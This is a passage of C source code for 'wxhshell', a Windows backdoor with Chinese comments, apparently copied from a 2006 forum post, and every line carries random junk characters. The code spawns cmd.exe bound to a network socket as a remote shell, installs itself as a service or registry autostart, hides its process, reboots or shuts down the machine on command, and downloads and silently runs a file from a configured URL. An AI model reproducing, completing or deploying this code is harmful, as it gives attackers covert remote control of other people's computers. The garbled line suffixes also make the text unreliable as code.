      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R&|.Lvmc/  
    break; %O`@}Tg  
  } pX%:XpC!h  
  // 安装 zyS8LZ-y9  
  case 'i': { l\Ozy  
    if(Install()) 4A J]qu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _^FC 9  
    else NQqw|3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .RpJZ[E  
    break; 1h@qcom9K_  
    } \dHqCQ  
  // 卸载 Q:q0C  +T  
  case 'r': { qcs) p  
    if(Uninstall()) O&?i#@5#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hf('BagBL  
    else OQumA j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cb_C2+%8NA  
    break; ]0D-g2!|A  
    } Nk9=A4=|  
  // 显示 wxhshell 所在路径 QYbB\Y  
  case 'p': { ZuGSRGX'  
    char svExeFile[MAX_PATH]; PtkMzhX  
    strcpy(svExeFile,"\n\r"); fAJyD`]Z  
      strcat(svExeFile,ExeFile); +Q+O$-a <  
        send(wsh,svExeFile,strlen(svExeFile),0); o"JH B  
    break; d>f;N+O%  
    } Xy(QK2|  
  // 重启 ]y {tMC  
  case 'b': { IRg2\Hq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SNqSp.>-U"  
    if(Boot(REBOOT)) =b%f@x_U1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]\yB,  
    else { \oPe" k=  
    closesocket(wsh); ) k/&,J3  
    ExitThread(0); XKGiw 2 C  
    } jnqp" Ult>  
    break; _YX% M|#  
    } }tt%J[  
  // 关机 q.J6'v lj/  
  case 'd': { <lB2Nv-,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L<V20d9  
    if(Boot(SHUTDOWN)) }#1.$a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4PVg?  
    else { 8 o}5QOW  
    closesocket(wsh); O ?T~>|  
    ExitThread(0); `)a|Q  
    } .!~ysy  
    break; mywx V  
    } oI -Fr0!  
  // 获取shell ),{3LIr  
  case 's': { |Kd6.Mx  
    CmdShell(wsh); 6teu_FS  
    closesocket(wsh); n`= S&oKH  
    ExitThread(0); %# uw8V  
    break; $MasYi  
  } >*!T`P}p  
  // 退出 o2(w  
  case 'x': { SsX$l<t*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]/ !*^;cY(  
    CloseIt(wsh); X)SUFhP\  
    break; 8!v|`Ky  
    } %;4#?.W8  
  // 离开 [%>*P~6nK  
  case 'q': { 08:K9zr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M}jl \{  
    closesocket(wsh); t>]W+Lx#  
    WSACleanup(); =pe O %  
    exit(1); T\wOGaCW  
    break; gs2qLb  
        } NTJ,U2  
  } \nOV2(FAT  
  } _`Kh8G {e  
&h[)nD  
  // 提示信息 AkjoD7.*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @uC-dXA"  
} ZHen:  
  } BCExhp  
_6FDuCVD-  
  return; >ptI!\i}  
} h<m>S,@g  
#O^zA`D   
// shell模块句柄 ed,+Slg  
int CmdShell(SOCKET sock) JF &$'  
{ m";8 nm  
STARTUPINFO si; =uwG.,lC  
ZeroMemory(&si,sizeof(si)); D622:Y886  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zh !/24p9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T5~Qfl?Y  
PROCESS_INFORMATION ProcessInfo; 6w<p1qhW  
char cmdline[]="cmd"; dkEnc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7.5\LTM>9e  
  return 0; uJ*|SSN~  
} r'}#usB(  
bVRxGn @l  
// 自身启动模式 I |D]NY^  
int StartFromService(void) RAyR&p  
{ 8HO)",+I  
typedef struct d\z':d .Tt  
{ Y@%6*uTLa  
  DWORD ExitStatus; Df/f&;`  
  DWORD PebBaseAddress; _jb"@TY  
  DWORD AffinityMask; .yj=*N.  
  DWORD BasePriority; ;lWy?53=@  
  ULONG UniqueProcessId; +ACV,GG  
  ULONG InheritedFromUniqueProcessId; *DoEDw  
}   PROCESS_BASIC_INFORMATION; El&pu x2  
s: q15"  
PROCNTQSIP NtQueryInformationProcess; =Jl1D*B*  
>|I3h5\M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7!N5uR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XKU=VOY  
m~NWY$oI9[  
  HANDLE             hProcess; ow`c B  
  PROCESS_BASIC_INFORMATION pbi; lB\j>.c  
Mw5!9@Fc7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7iJk0L$]x  
  if(NULL == hInst ) return 0; 3x9C]  
0_y%Qj^e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TAC\2*bWje  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~O 6~',KD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O-2H!58$)  
x}>tX  
  if (!NtQueryInformationProcess) return 0; fR[!=-6^f  
j1iC1=`ZM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !<6wrOMaO  
  if(!hProcess) return 0; E:E &Wv?r  
&% r#eB?7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OB^2NL~Q~  
t@JPnA7~  
  CloseHandle(hProcess); +@qk=]3a  
IFTW,9hh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9FLn7Y  
if(hProcess==NULL) return 0; `U1%d7[vY  
qL+y8*  
HMODULE hMod; 835Upj>  
char procName[255]; v_@_J!s  
unsigned long cbNeeded; l{a&Zy)  
M>J ADt_]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KE3 /<0Z  
v(7A=/W_  
  CloseHandle(hProcess); omA*XXUx=8  
:{ T#M$T  
if(strstr(procName,"services")) return 1; // 以服务启动 +e:ZN tr9  
+r!h*4  
  return 0; // 注册表启动 S7q &|nI  
} 2* L/c-  
(}}8DB  
// 主模块 kZ.3\  
int StartWxhshell(LPSTR lpCmdLine) `k| nf9_  
{ h*9o_  
  SOCKET wsl; #"{8Z&Z  
BOOL val=TRUE; L K~,  
  int port=0; 5#o,]tP  
  struct sockaddr_in door; ncdr/(`  
V$%K=[  
  if(wscfg.ws_autoins) Install(); Wu&Di8GhP  
KTEis!w  
port=atoi(lpCmdLine); v+sbRuo8  
tp^'W7E  
if(port<=0) port=wscfg.ws_port; 'X,V  
y#DQOY+@^#  
  WSADATA data; T_Y}1n|7[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n_Y]iAoc`  
s- V$N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~\G3 l,4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \(FDR  
  door.sin_family = AF_INET; __iyBaX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mD)O\.uA  
  door.sin_port = htons(port); q_&IZ,{Vk  
rfi`Bp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w0Y%}7  
closesocket(wsl); ~Wm}M  
return 1; <R>ZG"m{  
} 8!6*|!,:?n  
Rk[ * p  
  if(listen(wsl,2) == INVALID_SOCKET) { QZox3LM1&.  
closesocket(wsl); J"%}t\Q  
return 1; "%t`I)  
} :Qo  
  Wxhshell(wsl); 3]es$Jy  
  WSACleanup(); !y~b;>887  
u/c3omY"#  
return 0; [B @j@&  
xN8JrZE&  
} /$,=>  
H`lD@q'S  
// 以NT服务方式启动 X", 0VO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C}'="g^=sl  
{ S)@vl^3ec  
DWORD   status = 0; B!ibE<7,  
  DWORD   specificError = 0xfffffff; GPLt<K!<#  
_i@eOqoC  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  r;X0 B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WcO,4:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `lezJ (Xm  
  serviceStatus.dwWin32ExitCode     = 0; F(~_L.  
  serviceStatus.dwServiceSpecificExitCode = 0; xevP2pYG:  
  serviceStatus.dwCheckPoint       = 0; )2Ru!l#  
  serviceStatus.dwWaitHint       = 0; fR%1FXpK&  
Wd56B+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EvQwGt1)P  
  if (hServiceStatusHandle==0) return; /NX7Vev  
)z235}P  
status = GetLastError(); 0&IXzEOr  
  if (status!=NO_ERROR) KI@    
{ /:{_|P\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t{8v(}  
    serviceStatus.dwCheckPoint       = 0; !aw#',r8m  
    serviceStatus.dwWaitHint       = 0; !FO^:V<|5  
    serviceStatus.dwWin32ExitCode     = status; qJXsf M6  
    serviceStatus.dwServiceSpecificExitCode = specificError; N46$EsO!h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fCf#zV[  
    return; F:o #  
  }  Vm;Q w  
u@_!mjXQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?t0zsq  
  serviceStatus.dwCheckPoint       = 0; t)gi.Ed1"L  
  serviceStatus.dwWaitHint       = 0; hdr}!w V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  ;[KriW  
} G</I%qM  
rH&r6Xv[  
// 处理NT服务事件,比如:启动、停止 d9-mWz(V+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YP#AB]2\}  
{ 7XVzd]jH  
switch(fdwControl) H8-D'q>R  
{ ;j>Vt?:Pw  
case SERVICE_CONTROL_STOP: H/Ec^Lc+_  
  serviceStatus.dwWin32ExitCode = 0; 1KYbL8c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xm8Z+}i  
  serviceStatus.dwCheckPoint   = 0; q]N?@l]  
  serviceStatus.dwWaitHint     = 0; nRXSW&V"m  
  { JU'WiR bcb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); juCG?}di;  
  } @UpC{M--Wr  
  return; OS"{"P  
case SERVICE_CONTROL_PAUSE: xv$)u<Ve  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EO].qN-8  
  break; S0N2rU  
case SERVICE_CONTROL_CONTINUE: m +Q5vkW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (~ ]g,*+  
  break; v;fJM5PA  
case SERVICE_CONTROL_INTERROGATE: r}oURy,5  
  break; "B9[cDM&  
}; 1c)\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ns.3s7&  
} ` y^zM/Ib  
!f\?c7  
// 标准应用程序主函数 KbwTj*k[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JFG",09]  
{ .Na&I)udX.  
0~+NB-L}  
// 获取操作系统版本 b8N[."~:  
OsIsNt=GetOsVer(); ~5r=FF6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vl{~@G,@  
|jahpji6  
  // 从命令行安装 k-WHHoU>o  
  if(strpbrk(lpCmdLine,"iI")) Install(); cW)Oi^q%o2  
(px*R~}  
  // 下载执行文件 6kt]`H`cfJ  
if(wscfg.ws_downexe) { IjG5X[@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B*?ZE4`  
  WinExec(wscfg.ws_filenam,SW_HIDE); %{R _^Y8t  
} 3<c*v/L{C\  
0jR){G9+  
if(!OsIsNt) { bnijM/73  
// 如果时win9x,隐藏进程并且设置为注册表启动 [O^}rUqq  
HideProc(); i{gDW+N  
StartWxhshell(lpCmdLine); Bu7A{DRf  
} UhsO\9}qH  
else  bt;lq!g  
  if(StartFromService()) p1Q/g Il  
  // 以服务方式启动 ]{YN{  
  StartServiceCtrlDispatcher(DispatchTable); o;3j:# 3 |  
else eh$G.-2N  
  // 普通方式启动 <O;&qT*b  
  StartWxhshell(lpCmdLine); @. "q  
7egq4gN]2Y  
return 0; y k?SD1hj  
}
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只看该作者 1 发表于: 2006-10-10
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